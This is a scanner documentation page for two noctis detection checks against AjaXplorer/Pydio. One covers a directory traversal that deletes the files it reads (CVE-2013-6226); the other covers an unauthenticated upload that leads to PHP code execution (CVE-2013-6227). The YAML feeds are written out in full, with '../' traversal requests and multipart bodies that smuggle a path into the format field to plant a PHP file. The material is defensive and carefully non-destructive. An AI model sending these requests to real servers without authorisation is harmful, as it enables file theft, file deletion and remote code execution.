AjaXplorer — 2 vulnerability checks

noctis ships 2 vulnerability checks for AjaXplorer, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

AjaXplorer / Pydio < 5.0.4 Zoho agent save_zoho.php directory traversal

CVECVE-2013-6226
Severityhigh · CVSS 8.5
Categoryfile-read — File read
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/ajaxplorer/CVE-2013-6226.yaml

Tests AjaXplorer / Pydio before 5.0.4 for the unauthenticated directory traversal in the Zoho editor agent, plugins/editor.zoho/agent/save_zoho.php (CVE-2013-6226). Its "get_file" action reads any file named with "../" sequences and then deletes it, so the test never asks it for a file it did not create. It stores a small text file with per-run random content through the same agent, then reads it back through a "../files/" path: the random content in the reply confirms the traversal, and the agent deletes the file as part of the read. If no file can be stored, it reads /proc/version (a kernel file that cannot be deleted) through "../" sequences instead, and checks that a request for an absent file does not return the same content. The web root, /ajaxplorer and /pydio are tried.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{base}}/plugins/editor.zoho/agent/save_zoho.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{base}}/plugins/editor.zoho/agent/save_zoho.php with a crafted body
  5. HTTP(S) request GET {{base}}/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=../files/n…
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{base}}/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=noctis{{m.…
  8. Checks rb.body for NOCTIS[0-9a-f]+END → finding QoD 97: AjaXplorer / Pydio Zoho agent directory traversal (CVE-2013-6226)
  9. HTTP(S) request GET {{base}}/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=../../../.…
  10. HTTP(S) request GET {{base}}/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=../../../.…
  11. Parses / computes the next value with a Rhai script
  12. Checks pv.body for Linux version [0-9][^\r\n<]* → finding QoD 75: AjaXplorer / Pydio Zoho agent directory traversal (CVE-2013-6226)

References:

Feed source — tests/vulnerabilities/ajaxplorer/CVE-2013-6226.yaml
# AjaXplorer / Pydio < 5.0.4 — Zoho agent save_zoho.php directory traversal (CVE-2013-6226)
#
# plugins/editor.zoho/agent/save_zoho.php (<= 5.0.3) is reachable without any session:
#
#   }else if($vars["ajxp_action"] == "get_file" && isSet($vars["name"])){
#     if(file_exists("files/".$vars["name"])){
#       readfile("files/".$vars["name"]);
#       unlink("files/".$vars["name"]);
#
# `name` is never sanitised, so "../" walks out of agent/files/ — and every file read is
# then DELETED when the web server user may write to it. 5.0.4 requires a shared key
# and runs the path through securePath() (drops "." / ".." components).
#
# Safety: this feed never asks the sink for a file somebody else owns. The NASL reads
# traversal_files() (/etc/passwd, win.ini, boot.ini): on a host where the web server
# runs privileged, or on Windows, that read erases the file. Instead, per candidate
# base ("", /ajaxplorer, /pydio), behind a save_zoho.php 200 gate:
#   1. QoD 97 — plant our own file through the same agent (no ajxp_action, id=noctis<tok>,
#      format=txt: lands in agent/files/), then read it back with
#      name=../files/noctis<tok>.txt. Our per-run random content coming back proves the
#      ".." went through; the sink's own unlink() removes the file. If the read-back
#      fails, a plain get_file of the same name (no traversal) removes it anyway.
#      A 5.0.4 agent refuses the "txt" extension (office whitelist), so nothing is planted.
#   2. QoD 75 fallback (agent/files not writable) — read /proc/version through 15 "../"
#      (the NASL depth). procfs entries cannot be unlinked, even by root, so the
#      trailing unlink() is harmless. An absent-file control (same name + random suffix)
#      must not answer the same kernel line (blanket responders).
#
# CVSS: NVD v2 8.5 (AV:N/AC:L/Au:N/C:C/I:N/A:P); no v3 score in NVD. The sibling upload
# flaw CVE-2013-6227 (same script, same fix) has its own feed, CVE-2013-6227.yaml.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_ajaxplorer_zoho_plugin_dir_trav_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.803970, GPL-2.0-only). Better than the NASL: no read of a
# system file that the sink would delete, and an installation in /ajaxplorer or /pydio
# is found without a separate product detection.
uid: 98cc96e3-af96-437d-87ac-9e0e8091797b
name: "AjaXplorer / Pydio < 5.0.4 Zoho agent save_zoho.php directory traversal (CVE-2013-6226)"
description: |
  Tests AjaXplorer / Pydio before 5.0.4 for the unauthenticated directory traversal in
  the Zoho editor agent, plugins/editor.zoho/agent/save_zoho.php (CVE-2013-6226). Its
  "get_file" action reads any file named with "../" sequences and then deletes it, so
  the test never asks it for a file it did not create. It stores a small text file
  with per-run random content through the same agent, then reads it back through a
  "../files/" path: the random content in the reply confirms the traversal, and the
  agent deletes the file as part of the read. If no file can be stored, it reads
  /proc/version (a kernel file that cannot be deleted) through "../" sequences instead,
  and checks that a request for an absent file does not return the same content. The
  web root, /ajaxplorer and /pydio are tried.
cves: [CVE-2013-6226]
cvss: 8.5
severity: high
confidence_base: 0.30
category: file-read
tags: [ajaxplorer, pydio, php, path-traversal, file-read, intrusive, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-6226"
  - "https://www.securityfocus.com/bid/63647"
  - "https://www.exploit-db.com/exploits/46206"
  - "https://github.com/pydio/pydio-core/blob/pydio-core-5.0.4/core/src/plugins/editor.zoho/agent/save_zoho.php"

steps:
  # Per-run file name token and file content.
  - id: mint
    action: script
    code: '#{ tok: rand_hex(16), mark: "NOCTIS" + rand_hex(16) + "END" }'
    store_as: m

  # ── Loop group: every step below runs once per candidate install base ──
  # Pre-initialise every stored result a script reads (an undefined variable aborts
  # the whole test).
  - id: init-gate
    action: set_var
    var_name: gate
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/ajaxplorer", "/pydio"]
      var: base

  - id: init-rb
    action: set_var
    var_name: rb
    var_value: {status: 0, body: null}

  - id: init-pv
    action: set_var
    var_name: pv
    var_value: {status: 0, body: null}

  - id: init-ctrl
    action: set_var
    var_name: ctrl
    var_value: {status: 0, body: null}

  - id: gate-probe
    action: http_request
    method: GET
    path: "{{base}}/plugins/editor.zoho/agent/save_zoho.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    store_as: gate

  - id: gate-verify
    action: script
    code: 'gate.status == 200'
    store_as: g

  # 1. Plant our own file in agent/files/ (the agent's normal upload, but with an
  #    extension 5.0.4 refuses).
  - id: plant
    action: http_request
    method: POST
    path: "{{base}}/plugins/editor.zoho/agent/save_zoho.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "g == true"
    headers:
      Content-Type: "multipart/form-data; boundary=----noctisCVE20136226"
    body: "------noctisCVE20136226\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\nnoctis{{m.tok}}\r\n------noctisCVE20136226\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntxt\r\n------noctisCVE20136226\r\nContent-Disposition: form-data; name=\"content\"; filename=\"noctis{{m.tok}}.txt\"\r\nContent-Type: text/plain\r\n\r\n{{m.mark}}\r\n------noctisCVE20136226--\r\n"
    store_as: plant_r

  # Read it back through "../" — the sink deletes it right after.
  - id: read-back
    action: http_request
    method: GET
    path: "{{base}}/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=../files/noctis{{m.tok}}.txt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "g == true"
    store_as: rb

  - id: read-back-verify
    action: script
    code: |
      let b = rb.body;
      type_of(b) == "string" && rb.status == 200 && stridx(b, m.mark) >= 0
    store_as: rb_hit

  # The traversal read did not return our file: remove it (if it was stored) with a
  # plain get_file of its own name.
  - id: cleanup
    action: http_request
    method: GET
    path: "{{base}}/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=noctis{{m.tok}}.txt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "g == true && rb_hit != true"
    store_as: clean_r

  - id: read-back-match
    action: match
    source: rb.body
    pattern: "NOCTIS[0-9a-f]+END"
    condition: "rb_hit == true"
    on_match:
      stop: true
      finding:
        title: "AjaXplorer / Pydio Zoho agent directory traversal (CVE-2013-6226)"
        confidence_delta: 0.65
        qod: 97
        evidence: "Unauthenticated traversal confirmed: a file with per-run content {{m.mark}} stored through {{base}}/plugins/editor.zoho/agent/save_zoho.php came back from GET save_zoho.php?ajxp_action=get_file&name=../files/noctis{{m.tok}}.txt (the agent deleted it after the read)"
        remediation: "Upgrade to Pydio 5.0.4 or later, or delete the plugins/editor.zoho/agent/ directory when the Zoho agent is not used."

  # 2. Fallback — read a procfs file (cannot be unlinked) through the NASL's 15 "../".
  - id: proc-read
    action: http_request
    method: GET
    path: "{{base}}/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=../../../../../../../../../../../../../../../proc/version"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "g == true && rb_hit != true"
    store_as: pv

  - id: proc-control
    action: http_request
    method: GET
    path: "{{base}}/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=../../../../../../../../../../../../../../../proc/version.noctis-absent-{{m.tok}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "g == true && rb_hit != true && type_of(pv.body) == \"string\" && ereg(\"Linux version [0-9]\", pv.body)"
    store_as: ctrl

  - id: proc-verify
    action: script
    code: |
      let b = pv.body;
      let c = ctrl.body;
      type_of(b) == "string" && pv.status == 200 && ereg("Linux version [0-9]", b)
        && ctrl.status != 0
        && !(type_of(c) == "string" && ereg("Linux version [0-9]", c))
    store_as: pv_hit

  - id: proc-match
    action: match
    source: pv.body
    pattern: "Linux version [0-9][^\\r\\n<]*"
    condition: "pv_hit == true"
    on_match:
      stop: true
      finding:
        title: "AjaXplorer / Pydio Zoho agent directory traversal (CVE-2013-6226)"
        confidence_delta: 0.55
        qod: 75
        evidence: "Unauthenticated traversal: GET {{base}}/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=(15 x ../)proc/version returned the kernel version line, an absent-file control did not"
        remediation: "Upgrade to Pydio 5.0.4 or later, or delete the plugins/editor.zoho/agent/ directory when the Zoho agent is not used."

AjaXplorer / Pydio < 5.0.4 Zoho agent save_zoho.php unrestricted file upload

CVECVE-2013-6227
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/ajaxplorer/CVE-2013-6227.yaml

Tests AjaXplorer / Pydio before 5.0.4 for the unauthenticated unrestricted file upload in the Zoho editor agent, plugins/editor.zoho/agent/save_zoho.php (CVE-2013-6227), whose "format" parameter is used unchecked as the stored file's extension and path. The test uploads a one-line PHP file that prints a per-run arithmetic marker and deletes itself, placing it with "../" in the agent directory and, if it did not run there, in data/public/, then requests it. The computed marker in the reply confirms code execution. If the file was written but did not run, the agent's own read action fetches it back (and deletes it) and a lower-confidence finding is reported. The web root, /ajaxplorer and /pydio are tried.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{base}}/plugins/editor.zoho/agent/save_zoho.php
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request POST {{base}}/plugins/editor.zoho/agent/save_zoho.php with a crafted body
  6. HTTP(S) request GET {{base}}/plugins/editor.zoho/agent/noctis{{m.tok}}.php
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request POST {{base}}/plugins/editor.zoho/agent/save_zoho.php with a crafted body
  9. HTTP(S) request GET {{base}}/data/public/noctis{{m.tok}}.php
  10. Parses / computes the next value with a Rhai script
  11. HTTP(S) request GET {{base}}/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=../noctis{…
  12. HTTP(S) request GET {{base}}/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=../../../.…
  13. Parses / computes the next value with a Rhai script
  14. Checks v.where for / → finding QoD 97: AjaXplorer / Pydio Zoho agent unrestricted file upload — code execution (CVE-2013-6227)
  15. … and 1 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/ajaxplorer/CVE-2013-6227.yaml
# AjaXplorer / Pydio < 5.0.4 — Zoho agent save_zoho.php unrestricted file upload (CVE-2013-6227)
#
# plugins/editor.zoho/agent/save_zoho.php (<= 5.0.3) is reachable without any session:
#
#   if(!isSet($vars["ajxp_action"]) && isset($vars["id"]) && isset($vars["format"])){
#     $filezoho = $_FILES['content']["tmp_name"];
#     $cleanId = str_replace(array("..", "/"), "", $vars["id"]);
#     move_uploaded_file($filezoho, "files/".$cleanId.".".$vars["format"]);
#
# Only `id` is cleaned; `format` (the extension) is free, so with id="" and
# format="/../x.php" the upload lands at files/./../x.php = agent/x.php, inside the web
# root, with any extension (agent/files/ itself holds a "deny from all" .htaccess).
# 5.0.4 checks `format` against an office-extension whitelist and runs the whole path
# through securePath().
#
# Detection, per candidate base ("", /ajaxplorer, /pydio), behind a save_zoho.php 200 gate:
#   1. QoD 97 — upload a one-line PHP file noctis<tok>.php that prints NOCTIS<a+b>END
#      (the source holds "a+b", never the sum) and unlink()s itself, to agent/ and, if it
#      did not run there, to data/public/ (the public-links folder, also web-served), then
#      GET it. The server-computed sum proves PHP code execution; the file is gone after.
#   2. QoD 75 — no copy ran (directory served without PHP, say): the agent's own
#      get_file action reads each location back with "../" and deletes the file as part
#      of the read. Our PHP source coming back proves a .php file was written outside
#      agent/files/. These reads run whenever the probe did not execute, so no copy is
#      left behind.
#
# CVSS: NVD v2 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P); no v3 score in NVD. The traversal read
# CVE-2013-6226 (same script, same fix) has its own feed, CVE-2013-6226.yaml.
#
# Backlog source: OpenVAS/Greenbone NVT 2013/gb_ajaxplorer_zoho_plugin_dir_trav_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.803970, GPL-2.0-only) lists this CVE but only probes the
# traversal; the upload request follows exploit-db 46206.
uid: 4f4e34a4-58c1-4d69-a2b8-9bd91c89af18
name: "AjaXplorer / Pydio < 5.0.4 Zoho agent save_zoho.php unrestricted file upload (CVE-2013-6227)"
description: |
  Tests AjaXplorer / Pydio before 5.0.4 for the unauthenticated unrestricted file upload
  in the Zoho editor agent, plugins/editor.zoho/agent/save_zoho.php (CVE-2013-6227),
  whose "format" parameter is used unchecked as the stored file's extension and path.
  The test uploads a one-line PHP file that prints a per-run arithmetic marker and
  deletes itself, placing it with "../" in the agent directory and, if it did not run
  there, in data/public/, then requests it. The computed marker in the reply confirms
  code execution. If the file was written but did not run, the agent's own read action
  fetches it back (and deletes it) and a lower-confidence finding is reported. The web
  root, /ajaxplorer and /pydio are tried.
cves: [CVE-2013-6227]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [ajaxplorer, pydio, php, file-upload, rce, intrusive, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-6227"
  - "https://www.exploit-db.com/exploits/46206"
  - "https://github.com/pydio/pydio-core/blob/pydio-core-5.0.4/core/src/plugins/editor.zoho/agent/save_zoho.php"

steps:
  # Per-run file name token and arithmetic operands.
  - id: mint
    action: script
    code: '#{ tok: rand_hex(16), a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
    store_as: m

  - id: mint-sum
    action: script
    code: 'm.a + m.b'
    store_as: sum

  # ── Loop group: every step below runs once per candidate install base ──
  # Pre-initialise every stored result a script reads (an undefined variable aborts
  # the whole test).
  - id: init-gate
    action: set_var
    var_name: gate
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/ajaxplorer", "/pydio"]
      var: base

  - id: init-run1
    action: set_var
    var_name: run1
    var_value: {status: 0, body: null}

  - id: init-run2
    action: set_var
    var_name: run2
    var_value: {status: 0, body: null}

  - id: init-src1
    action: set_var
    var_name: src1
    var_value: {status: 0, body: null}

  - id: init-src2
    action: set_var
    var_name: src2
    var_value: {status: 0, body: null}

  - id: gate-probe
    action: http_request
    method: GET
    path: "{{base}}/plugins/editor.zoho/agent/save_zoho.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    store_as: gate

  - id: gate-verify
    action: script
    code: 'gate.status == 200'
    store_as: g

  # 1a. format="/../noctis<tok>.php" → files/./../noctis<tok>.php = agent/noctis<tok>.php
  - id: upload-agent
    action: http_request
    method: POST
    path: "{{base}}/plugins/editor.zoho/agent/save_zoho.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "g == true"
    headers:
      Content-Type: "multipart/form-data; boundary=----noctisCVE20136227"
    body: "------noctisCVE20136227\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n\r\n------noctisCVE20136227\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\n/../noctis{{m.tok}}.php\r\n------noctisCVE20136227\r\nContent-Disposition: form-data; name=\"content\"; filename=\"noctis{{m.tok}}.php\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php echo 'NOCTIS'.({{m.a}}+{{m.b}}).'END'; @unlink(__FILE__); ?>\r\n------noctisCVE20136227--\r\n"
    store_as: up1

  - id: run-agent
    action: http_request
    method: GET
    path: "{{base}}/plugins/editor.zoho/agent/noctis{{m.tok}}.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "g == true"
    store_as: run1

  - id: run-agent-verify
    action: script
    code: |
      let b = run1.body;
      type_of(b) == "string" && run1.status == 200 && stridx(b, "NOCTIS" + sum + "END") >= 0
    store_as: r1

  # 1b. Not run from agent/ (not writable, or no PHP there): try data/public/.
  - id: upload-public
    action: http_request
    method: POST
    path: "{{base}}/plugins/editor.zoho/agent/save_zoho.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "g == true && r1 != true"
    headers:
      Content-Type: "multipart/form-data; boundary=----noctisCVE20136227"
    body: "------noctisCVE20136227\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n\r\n------noctisCVE20136227\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\n/../../../../data/public/noctis{{m.tok}}.php\r\n------noctisCVE20136227\r\nContent-Disposition: form-data; name=\"content\"; filename=\"noctis{{m.tok}}.php\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php echo 'NOCTIS'.({{m.a}}+{{m.b}}).'END'; @unlink(__FILE__); ?>\r\n------noctisCVE20136227--\r\n"
    store_as: up2

  - id: run-public
    action: http_request
    method: GET
    path: "{{base}}/data/public/noctis{{m.tok}}.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "g == true && r1 != true"
    store_as: run2

  - id: run-public-verify
    action: script
    code: |
      let b = run2.body;
      type_of(b) == "string" && run2.status == 200 && stridx(b, "NOCTIS" + sum + "END") >= 0
    store_as: r2

  # 2. Read back (and so delete) every copy that did not run itself away. get_file
  #    unlinks the file it returns.
  - id: readback-agent
    action: http_request
    method: GET
    path: "{{base}}/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=../noctis{{m.tok}}.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "g == true && r1 != true"
    store_as: src1

  - id: readback-public
    action: http_request
    method: GET
    path: "{{base}}/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=../../../../data/public/noctis{{m.tok}}.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "g == true && r1 != true && r2 != true"
    store_as: src2

  - id: verdict
    action: script
    code: |
      let line = "'NOCTIS'.(" + m.a + "+" + m.b + ")";
      let s1 = type_of(src1.body) == "string" && src1.status == 200 && stridx(src1.body, line) >= 0;
      let s2 = type_of(src2.body) == "string" && src2.status == 200 && stridx(src2.body, line) >= 0;
      let where = if r1 == true { "plugins/editor.zoho/agent/" } else { "data/public/" };
      let src_where = if s1 { "plugins/editor.zoho/agent/" } else { "data/public/" };
      #{ rce: r1 == true || r2 == true, written: s1 || s2, where: where, src_where: src_where }
    store_as: v

  - id: rce-match
    action: match
    source: v.where
    pattern: "/"
    condition: "v.rce == true"
    on_match:
      stop: true
      finding:
        title: "AjaXplorer / Pydio Zoho agent unrestricted file upload — code execution (CVE-2013-6227)"
        confidence_delta: 0.65
        qod: 97
        evidence: "Unauthenticated upload + PHP execution confirmed: POST {{base}}/plugins/editor.zoho/agent/save_zoho.php (id empty, format with ../) stored noctis{{m.tok}}.php in {{base}}/{{v.where}}, and GET of it returned NOCTIS{{sum}}END ({{m.a}}+{{m.b}} computed by the server; the file deleted itself)"
        remediation: "Upgrade to Pydio 5.0.4 or later, or delete the plugins/editor.zoho/agent/ directory when the Zoho agent is not used."

  - id: written-match
    action: match
    source: v.src_where
    pattern: "/"
    condition: "v.rce != true && v.written == true"
    on_match:
      stop: true
      finding:
        title: "AjaXplorer / Pydio Zoho agent unrestricted file upload (CVE-2013-6227)"
        confidence_delta: 0.45
        qod: 75
        evidence: "Unauthenticated upload outside agent/files/: a .php file stored through {{base}}/plugins/editor.zoho/agent/save_zoho.php (id empty, format with ../) was read back from {{base}}/{{v.src_where}}noctis{{m.tok}}.php by get_file (and deleted by it), but it did not run as PHP (GET status {{run1.status}} / {{run2.status}})"
        remediation: "Upgrade to Pydio 5.0.4 or later, or delete the plugins/editor.zoho/agent/ directory when the Zoho agent is not used."

View these feeds on GitHub